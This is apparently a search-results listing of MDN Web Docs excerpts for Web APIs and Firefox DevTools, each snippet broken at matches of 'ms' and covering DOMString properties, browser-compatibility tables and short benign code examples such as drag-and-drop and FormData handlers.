ms and finalized at 750
ms.
... filter was given a value at 250
ms and transform at 500
ms.
... the img#icon animation: animated the filter and transform properties, to scale the icon and color it lasted 750
ms, had an enddelay of 100
ms used the compositor thread was given an easing value of ease-in: you can see this by the concave shape of the green bar.
... the span#note animation: animated the width and opacity properties, to make the name gradually appear lasted 500
ms, and had a delay of 150
ms was given an easing value of ease-out: you can see this by the convex shape of the green bar.
Animating CSS properties - Firefox Developer Tools
the frame rate and waterfall can give you insight into the work the browser's doing in a css animation, to help diagnose performance proble
ms.
...it's to demonstrate how the tools can give you insight into the work the browser is doing to render your site, and how you can apply that insight to diagnose and fix performance proble
ms.
...in the screenshot above we've highlighted a paint operation, and the box on the right tells us it took 13.11
ms.
... with only 16.7
ms in our total budget, it's not surprising we are missing a consistently high frame rate.
AudioTrack - Web APIs
id read only a do
mstring which uniquely identifies the track within the media.
... kind read only a do
mstring specifying the category into which the track falls.
... label read only a do
mstring providing a human-readable label for the track.
... language read only a do
mstring specifying the audio track's primary language, or an empty string if unknown.
AudioWorkletProcessor.process - Web APIs
however, plans are already in place to revise the specification to allow the size of the audio blocks to be changed depending on circu
mstances (for example, if the audio hardware or cpu utilization is more efficient with larger block sizes).
... a node that transfor
ms its input.
... a node that transfor
ms its input, but has a so-called tail-time — this means that it will produce an output for some time even after its inputs are disconnected or are inactive (producing zero-channels).
...omitting an explicit return statement may cause hard-to-detect proble
ms for your nodes.
AudioWorkletProcessor - Web APIs
this method gets called for each block of 128 sample-frames and takes input and output arrays and calculated values of custom audiopara
ms (if they are defined) as parameters.
... optionally, if you want custom audiopara
ms on your node, you can supply a parameterdescriptors property as a static getter on the processor.
... the array of audioparamdescriptor-based objects returned is used internally to create the audiopara
ms during the instantiation of the audioworkletnode.
... the resulting audiopara
ms reside in the parameters property of the node and can be automated using standard methods such as linearramptovalueattime.
BasicCardRequest.supportedNetworks - Web APIs
the supportednetworks property of the basiccardrequest dictionary contains an array of do
mstrings representing the card networks that the retailer supports (e.g.
...value]] value an array containing one or more do
mstrings, which describe the card networks the retailer supports.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsupportednetworkschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the d...
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must explici...
BasicCardRequest - Web APIs
properties basiccardrequest.supportednetworks optional secure context an optional array of do
mstrings representing the card networks that the retailer supports (e.g.
... basiccardrequest.supportedtypes optional secure context this obsolete property was used to provide an optional array of do
mstrings representing the card types that the retailer supports (e.g.
...those are: amex cartebancaire diners discover jcb mastercard mir unionpay visa examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as ite
ms bought and shipping options), and an optional object that describes what data is needed to fullfil the payment (e.g., a shipping address).
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'] } }]; var details = { total: {label: 'donation', amount: {currency: 'usd', value: '65.00'}}, displayite
ms: [ { label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); ...
BudgetState - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbudgetstate experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... sa
msung internet android full support 8.0budgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... sa
msung internet android full support 8.0time experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... sa
msung internet android full support 8.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
CSSStyleDeclaration.setProperty() - Web APIs
syntax style.setproperty(propertyname, value, priority); parameters propertyname is a do
mstring representing the css property name (hyphen case) to be modified.
... value optional is a do
mstring containing the new property value.
... priority optional is a do
mstring allowing the "important" css priority to be set.
...order</button> <button class="bgcolor">background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-content: space-around; align-ite
ms: center; } div button { flex: 1; margin: 20px; height: 30px; line-height: 30px; } .box { display: flex; justify-content: center; align-ite
ms: center; height: calc(100% - 70px); } .box p { width: 50%; text-align: center; font-weight: bold; font-size: 40px; height: 150px; line-height: 150px; background: red; border: 5px solid purple; color: white; transition: ...
ChildNode.after() - Web APIs
the childnode.after() method inserts a set of node or do
mstring objects in the children list of this childnode's parent, just after this childnode.
... do
mstring objects are inserted as equivalent text nodes.
... syntax [throws, unscopable] void childnode.after((node or do
mstring)...
... nodes); parameters nodes a set of node or do
mstring objects to insert.
ChildNode.before() - Web APIs
the childnode.before() method inserts a set of node or do
mstring objects in the children list of this childnode's parent, just before this childnode.
... do
mstring objects are inserted as equivalent text nodes.
... syntax [throws, unscopable] void childnode.before((node or do
mstring)...
... nodes); parameters nodes a set of node or do
mstring objects to insert.
ChildNode.replaceWith() - Web APIs
the childnode.replacewith() method replaces this childnode in the children list of its parent with a set of node or do
mstring objects.
... do
mstring objects are inserted as equivalent text nodes.
... syntax [throws, unscopable] void childnode.replacewith((node or do
mstring)...
... nodes); parameters nodes a set of node or do
mstring objects to replace.
console.assert() - Web APIs
syntax console.assert(assertion, obj1 [, obj2, ..., objn]); console.assert(assertion,
msg [, subst1, ..., substn]); // c-like message formatting parameters assertion any boolean expression.
...
msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within
msg.
... examples the following code example demonstrates the use of a javascript object following the assertion: const error
msg = 'the # is not even'; for (let number = 2; number <= 5; number += 1) { console.log('the # is ' + number); console.assert(number % 2 === 0, {number: number, error
msg: error
msg}); // or, using es2015 object property shorthand: // console.assert(number % 2 === 0, {number, error
msg}); } // output: // the # is 2 // the # is 3 // assertion failed: {number: 3, error
msg: "the # is not even"} // the # is 4 // the # is 5 // assertion failed: {number: 5, error
msg: "the # is not even"} note that, while a string containing a substitution string works as a parameter for console.log in node ...
Console.info() - Web APIs
in firefox, a small "i" icon is displayed next to these ite
ms in the web console's log.
... syntax console.info(obj1 [, obj2, ..., objn]); console.info(
msg [, subst1, ..., substn]); parameters obj1 ...
...
msg a javascript string containing zero or more substitution strings.
...substn javascript objects with which to replace substitution strings within
msg.
CryptoKey - Web APIs
aeskeygenpara
ms if the algorithm is any of the aes variants.
... rsahashedkeygenpara
ms if the algorithm is any of the rsa variants.
... eckeygenpara
ms if the algorithm is any of the ec variants.
... hmackeygenpara
ms if the algorithm is hmac.
DOMException.message - Web APIs
the message read-only property of the domexception interface returns a do
mstring representing a message or description associated with the given error name.
... syntax var domexceptionmessage = domexceptioninstance.message; value a do
mstring.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmessagechrome full support yesedge full support 12firefox full support 1ie ?
... yeswebview android full support yeschrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
DataTransfer.types - Web APIs
example this example shows the use of the types and ite
ms properties.
... <!doctype html> <html lang=en> <title>examples of datatransfer.{types,ite
ms} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(docume...
...types[" + i + "] = " + ev.datatransfer.types[i]); } } // print each item's "kind" and "type" if (ev.datatransfer.ite
ms != null) { for (var i=0; i < ev.datatransfer.ite
ms.length; i++) { console.log("...
... ite
ms[" + i + "].kind = " + ev.datatransfer.ite
ms[i].kind + " ; type = " + ev.datatransfer.ite
ms[i].type); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples of <code>datatransfer</code>.{<code>types</code>, <code>ite
ms</code>} properties</h1> <ul> <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">drag item 1 to the drop zone</li> <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">drag item 2 to the drop zone</li> </ul> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment htm...
DataTransferItem.webkitGetAsEntry() - Web APIs
first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let ite
ms = event.datatransfer.ite
ms; event.preventdefault(); listing.innerhtml = ""; for (let i=0; i<ite
ms.length; i++) { let item = ite
ms[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the ite
ms dropped from event.datatransfer.ite
ms.
... then we iterate over the ite
ms in the list of dropped ite
ms.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetwebkitgetasentrychrome full support 13edge full support 14firefox full support 50ie no support noopera no support nosafari full support ...
... 11.1webview android no support nochrome android full support yesfirefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yeslegend full support full support no support no support ...
DataTransferItemList.clear() - Web APIs
the datatransferitemlist method clear() removes all datatransferitem objects from the drag data ite
ms list, leaving the list empty.
...rop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.ite
ms; datalist.add(ev.target.id, "text/plain"); // add some other ite
ms to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.ite
ms; // loop through the dropped ite
ms and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
...drop: uri = " + s); }); } } } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } function dragend_handler(ev) { console.log("dragend"); var datalist = ev.datatransfer.ite
ms; for (var i = 0; i < datalist.length; i++) { datalist.remove(i); } // clear any remaining drag data datalist.clear(); } result result link specifications specification status comment html living standardthe definition of 'clear()' in that specification.
DirectoryReaderSync - Web APIs
self.requestfilesyste
msync = self.webkitrequestfilesyste
msync || self.requestfilesyste
msync; // global for holding the list of entry file system urls.
... if (!data.cmd || data.cmd != 'list') { return; } try { var fs = requestfilesyste
msync(temporary, 1024*1024 /*1mb*/); getallentries(fs.root.createreader()); self.postmessage({entries: paths}); } catch (e) { onerror(e); } }; method overview entrysync readentries () raises (fileexception); method readentries() returns a lost of entries from a specific directory.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdirectoryreadersync non-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support 79prefixed full support 79prefixed prefixed implem...
... full support 18prefixed full support 18prefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support 1.0prefixed full support 1.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support no support no supportnon-standard.
DocumentType - Web APIs
documenttype.internalsubset read only a do
mstring of the internal subset, or null if there is none.
... documenttype.name read only a do
mstring, eg "html" for <!doctype html>.
... documenttype.publicid read only a do
mstring, eg "-//w3c//dtd html 4.01//en", empty string for html5.
... documenttype.systemid read only a do
mstring, eg "http://www.w3.org/tr/html4/strict.dtd", empty string for html5.
Element.localName - Web APIs
syntax name = element.localname return value a do
mstring representing the local part of the element's qualified name.
...tners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partner> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html do
ms (as opposed to xhtml elements in xml do
ms).
... in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html do
ms and xhtml elements in xml do
ms.
... the tagname property continues to return in the upper case for html elements in html do
ms.
Event.timeStamp - Web APIs
in newer implementations, the value is a domhighrestimestamp accurate to 5 microseconds (0.005
ms).
... in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 event.timestamp; // 1519211809934 // 1519211810362 // 1519211811670 // ...
... in firefox, if you also enable privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
FederatedCredential.protocol - Web APIs
the protocol property of the federatedcredential interface returns a read-only do
mstring containing a credential's federated identity protocol.
... syntax var protocol = federatedcredential.protocol value a do
mstring containing a credential's federated identity protocol (e.g.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetprotocol experimentalchrome full support 51edge full support ≤79firefox ?
... sa
msung internet android full support 5.0legend full support full support compatibility unknown compatibility unknownexperimental.
FileReaderSync.readAsBinaryString() - Web APIs
the readasbinarystring() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an do
mstring.
... return value an do
mstring representing the input data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreadasbinarystringchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support yessafari full support ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support ...
FileReaderSync.readAsDataURL() - Web APIs
the readasdataurl() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an do
mstring representing a data url.
... return value an do
mstring representing the input data as a data url.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreadasdataurlchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support yessafari full support ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support ...
FileReaderSync.readAsText() - Web APIs
the readastext() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an do
mstring.
... return value an do
mstring representing the input data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreadastextchrome full support yesedge full support 12firefox full support 8ie full support yesopera full support yessafari full support ...
... yeswebview android full support yeschrome android full support yesfirefox android full support 8opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support ...
FileSystemDirectoryReader.readEntries() - Web APIs
first, we prevent the dragover event from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let ite
ms = event.datatransfer.ite
ms; event.preventdefault(); listing.innerhtml = ""; for (let i=0; i<ite
ms.length; i++) { let item = ite
ms[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the ite
ms dropped from event.datatransfer.ite
ms.
... then we iterate over the ite
ms in the list of dropped ite
ms.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreadentries deprecatednon-standardchrome full support 8edge ?
... 11.1webview android full support ≤37chrome android full support 18firefox android full support yesopera android no support nosafari ios full support 11.3sa
msung internet android ?
FileSystemEntry.toURL() - Web APIs
if this parameter is omitted, the user agent uses its standard algorith
ms to identify the file.
... return value a do
mstring containing a url that can then be used as a document reference in html content, or an empty string if the url can't be generated (such as if the file system implementation doesn't support tourl()).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettourl experimentaldeprecatednon-standardchrome full support 8edge full support 79firefox no support noie no support noopera no support nosafari no ...
... nowebview android full support ≤37chrome android full support 18firefox android no support noopera android no support nosafari ios no support nosa
msung internet android full support yeslegend full support full support no support no supportexperimental.
FileSystemFileEntry - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilesystemfileentrychrome full support 8alternate name full support 8alternate name alternate name uses the non-standard name: fileentryedge full support 79prefixed full support 79prefixed prefixed implemen...
...rt 18alternate name full support 18alternate name alternate name uses the non-standard name: fileentryfirefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitcreatewriter deprecatednon-standardchrome full support 8edge full support 79firefox ...
... 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.opera android no support nosafari ios no support nosa
msung internet android full support yesfilechrome full support 8edge full support 79firefox full support 50ie no support noopera no support ...
... 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera android no support nosafari ios full support 11.3sa
msung internet android full support yeslegend full support full support no support no supportnon-standard.
FileSystemFlags - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilesystemflags experimentalchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed full support ≤79prefixed prefixed impl...
... full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 50opera android no support nosafari ios no support nosa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitcreate experimentalchrome full support 13prefixed full support 13prefixed prefixed implemented w...
...this option has no effect.opera android no support nosafari ios no support nosa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitexclusive experimentalchrome full support 13prefixed full support 13prefixed prefixed implemente...
...this option has no effect.opera android no support nosafari ios no support nosa
msung internet android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial support ...
Introduction to the File and Directory Entries API - Web APIs
it provides a storage api that is already familiar to your users, who are used to working with file syste
ms.
...the synchronous api, on the other hand, uses the following methods: requestfilesyste
msync() and resolvelocalfilesyste
msyncurl().
...each origin has its own associated set of file syste
ms.
... definitions this section defines and explains ter
ms used in the file and directory entries api.
File and Directory Entries API - Web APIs
getting access to a file system there are two ways to get access to file syste
ms defined in the current specification draft: when handling a drop event for drag and drop, you can call datatransferitem.webkitgetasentry() to get the filesystementry for a dropped item.
... filesyste
msync represents a file system.
...they're available on the worker object and implemented in localfilesyste
msync: requestfilesyste
msync() and resolvelocalfilesyste
msyncurl().
... localfilesyste
msync lockedfile provides tools to deal with a given file with all the necessary locks.
FontFaceSetLoadEvent - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfontfacesetloadevent experimentalchrome full support 35edge full support ≤79firefox full support yesie ?
... sa
msung internet android full support 3.0fontfacesetloadevent() constructor experimentalchrome full support 57edge full support ≤79firefox ?
... sa
msung internet android full support 7.0fontfaces experimentalchrome full support 35edge full support ≤79firefox full support yesie ?
... sa
msung internet android full support 3.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
Using FormData Objects - Web APIs
it is primarily intended for use in sending form data, but can be used independently from for
ms in order to transmit keyed data.
...id" placeholder="email" required size="32" maxlength="64" /><br /> <label>custom file label:</label> <input type="text" name="filelabel" size="12" maxlength="32" /><br /> <label>file to stash:</label> <input type="file" name="file" required /> <input type="submit" value="stash the file!" /> </form> <div></div> then you can send it using code like the following: var form = document.for
ms.nameditem("fileinfo"); form.addeventlistener('submit', function(ev) { var ooutput = document.queryselector("div"), odata = new formdata(form); odata.append("customfield", "this is some extra data"); var oreq = new xmlhttprequest(); oreq.open("post", "stash.php", true); oreq.onload = function(oevent) { if (oreq.status == 200) { ooutput.innerhtml = "uploaded!"; } el...
...fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr let request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); note: the formdata event and formdataevent object are available in chrome from version 77 (and other equivalent chromiu
ms), and firefox 72 (first available behind the dom.formdata.event.enabled pref in firefox 71).
... submitting for
ms and uploading files via ajax without formdata objects if you want to know how to serialize and submit a form via ajax without using formdata objects, please read this paragraph.
GamepadEvent - Web APIs
working draft initial definition browser compatibility desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgamepadeventchrome full support 35 full support 35 no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤18firefox full support 29 ...
... yesfirefox android full support 32opera android full support 22 full support 22 no support 14 — 21prefixed prefixed implemented with the vendor prefix: webkitsafari ios full support 10.3sa
msung internet android full support yesgamepadevent() constructorchrome full support 35edge full support 12firefox full support 29 full support 29 no support ...
... 10.1webview android no support nochrome android full support yesfirefox android full support 32opera android full support 22safari ios full support 10.3sa
msung internet android full support yesgamepadchrome full support 35 full support 35 no support 21 — 34prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
... yesfirefox android full support 32opera android full support 22 full support 22 no support 14 — 21prefixed prefixed implemented with the vendor prefix: webkitsafari ios full support 10.3sa
msung internet android full support yeslegend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.requires a vendor prefix or different name f...
HTMLHRElement - Web APIs
htmlhrelement.align is a do
mstring, an enumerated attribute indicating alignment of the rule with respect to the surrounding context.
... htmlhrelement.color is a do
mstring representing the name of the color of the rule.
... htmlhrelement.size is a do
mstring representing the height of the rule.
... htmlhrelement.width is a do
mstring representing the width of the rule on the page.
HTMLImageElement.crossOrigin - Web APIs
syntax htmlimageelement.crossorigin = crossoriginmode; let crossoriginmode = htmlimageelement.crossorigin; value a do
mstring of a keyword specifying the cors mode to use when fetching the image resource.
... const imageurl = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.queryselector(".container"); function loadimage(url) { const image = new image(200, 200); image.addeventlistener("load", () => container.prepend(image) ); image.addeventlistener("error", () => { const err
msg = document.createelement("output"); err
msg.value = `error loading image at ${url}`; container.append(err
msg); }); image.crossorigin = "anonymous"; image.alt = ""; image.src = url; } loadimage(imageurl); html <div class="container"> <p>here's a paragraph.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcrossoriginchrome full support 13edge full support 12firefox full support yesie full support 9opera full support yessafari full support ...
... safari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
HTMLImageElement.decoding - Web APIs
syntax refstr = imgelem.decoding; imgelem.decoding = refstr; values a do
mstring representing the decoding hint.
...if doing so would cause proble
ms, you can specify sync to disable asynchronous loading.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdecodingchrome full support 65edge full support ≤79firefox full support 63ie no support noopera full support yessafari full support ...
... safari ios full support 11.3sa
msung internet android full support 9.0legend full support full support no support no support compatibility unknown compatibility unknown ...
HTMLLinkElement.as - Web APIs
the as property of the htmllinkelement interface returns a do
mstring representing the type of content being loaded by the html link, one of "script", "style", "image", "video", "audio", "track", "font", "fetch".
... syntax var as = htmllinkelement.as htmllinkelement.as = as value a do
mstring.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetas experimentalchrome full support 50edge full support 17firefox full support 56ie full support yesopera full support 37safari full support ...
... yeswebview android full support 50chrome android full support 50firefox android full support 56opera android full support 37safari ios full support yessa
msung internet android full support 5.0legend full support full supportexperimental.
HTMLMetaElement - Web APIs
name type description content do
mstring gets or sets the value of meta-data property.
... httpequiv do
mstring gets or sets the name of an http response header to define for a document.
... name do
mstring gets or sets the name of a meta-data property to define for a document.
... scheme do
mstring gets or sets the name of a scheme used to interpret the value of a meta-data property.
HTMLParamElement - Web APIs
htmlparamelement.name is a do
mstring representing the name of the parameter.
... htmlparamelement.value is a do
mstring representing the value associated to the parameter.
... htmlparamelement.type is a do
mstring containing the type of the parameter when valuetype has the "ref" value.
... htmlparamelement.valuetype is a do
mstring containing the type of the value.
HTMLSelectElement.selectedOptions - Web APIs
example in this example, a <select> element with a number of options is used to let the user order various food ite
ms.
... id="foods" name="foods" size="7" multiple> <option value="1">burrito</option> <option value="2">cheeseburger</option> <option value="3">double bacon burger supreme</option> <option value="4">pepperoni pizza</option> <option value="5">taco</option> </select> <br> <button name="order" id="order"> order now </button> <p id="output"> </p> the <select> element is set to allow multiple ite
ms to be selected, and it is 7 rows tall.
...s like this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid("foods"); let outputbox = document.getelementbyid("output"); orderbutton.addeventlistener("click", function() { let collection = itemlist.selectedoptions; let output = ""; for (let i=0; i<collection.length; i++) { if (output === "") { output = "your order for the following ite
ms has been placed: "; } output += collection[i].label; if (i === (collection.length - 2) && (collection.length < 3)) { output += " and "; } else if (i < (collection.length - 2)) { output += ", "; } else if (i === (collection.length - 2)) { output += ", and "; } } if (output === "") { output = "you didn't order anything!"; } outputbox.innerht...
...a string is constructed to list the ordered ite
ms, with logic to build the list using proper english grammar rules (including a serial comma).
HTMLSourceElement - Web APIs
htmlsourceelement.media is a do
mstring reflecting the media html attribute, containing the intended type of the media resource.
... htmlsourceelement.sizes is a do
mstring representing image sizes between breakpoints htmlsourceelement.src is a do
mstring reflecting the src html attribute, containing the url for the media resource.
... htmlsourceelement.srcset is a do
mstring reflecting the srcset html attribute, containing a list of candidate images, separated by a comma (',', u+002c comma).
... htmlsourceelement.type is a do
mstring reflecting the type html attribute, containing the type of the media resource.
HTMLTableSectionElement - Web APIs
htmltablesectionelement.align is a do
mstring containing an enumerated value reflecting the align attribute.
... htmltablesectionelement.ch is a do
mstring containing one single chararcter.
... htmltablesectionelement.choff is a do
mstring containing a integer indicating how many characters must be left at the right (for left-to-right scripts; or at the left for right-to-left scripts) of the character defined by htmltablerowelement.ch.
... htmltablesectionelement.valign is a do
mstring representing an enumerated value indicating how the content of the cell must be vertically aligned.
HTMLTrackElement - Web APIs
htmltrackelement.kind is a do
mstring that reflects the kind html attribute, indicating how the text track is meant to be used.
... htmltrackelement.src is a do
mstring that reflects the src html attribute, indicating the address of the text track data.
... htmltrackelement.srclang is a do
mstring that reflects the srclang html attribute, indicating the language of the text track data.
... htmltrackelement.label is a do
mstring that reflects the label html attribute, indicating a user-readable title for the track.
The HTML DOM API - Web APIs
barprop navigator window deprecated web app and browser integration interfaces external obsolete web app and browser integration interfaces applicationcache plugin pluginarray form support interfaces these interfaces provide structure and functionality required by the elements used to create and manage for
ms, including the <form> and <input> elements.
... audiotrack audiotracklist mediaerror texttrack texttrackcue texttrackcuelist texttracklist timeranges trackevent videotrack videotracklist drag and drop interfaces these interfaces are used by the html_drag_and_drop_api to represent individual draggable (or dragged) ite
ms, groups of dragged or draggable ite
ms, and to handle the drag and drop process.
... do
mstringlist do
mstringmap errorevent htmlallcollection mimetype mimetypearray promiserejectionevent interfaces belonging to other apis several interfaces are technically defined in the html specification while actually being part of other apis.
...ite
ms marked with "*" are required.</p> <form action="" method="get"> <p> <label for="username" required>your name:</label> <input type="text" id="username"> (*) </p> <p> <label for="email">email:</label> <input type="email" id="useremail"> </p> <input type="submit" value="send" id="sendbutton"> </form> result specifications specification status comment ...
Recommended Drag Types - Web APIs
multiple files will be received during a drop as multiple ite
ms in the data transfer.
... see dragging and dropping multiple ite
ms for more details about this.
... updates to datatransfer.types the latest spec dictates that datatransfer.types should return a frozen array of do
mstrings rather than a do
mstringlist (this is supported in firefox 52 and above).
... var file = cc['@mozilla.org/file/local;1'].createinstance(components.interfaces.nsilocalfile); file.initwithpath(dir.path); file.appendrelativepath(name); console.log("output final path is =" + file.path); // now you can write or copy the file yourself… } } } see also html drag and drop api (overview) drag operations dragging and dropping multiple ite
ms html5 living standard: drag and drop ...
Ajax navigation example - Web APIs
to see how it works, please create the following files (or git clone https://github.com/giabao/mdn-ajax-nav-example.git ): note: for fully integrating the <form> elements within this mechanism, please take a look at the paragraph submitting for
ms and uploading files.
...; const ajaxrequest = new (function () { function closereq () { oloadingbox.parentnode && document.body.removechild(oloadingbox); bisloading = false; } function abortreq () { if (!bisloading) { return; } oreq.abort(); closereq(); } function ajaxerror () { alert("unknown error."); } function ajaxload () { var v
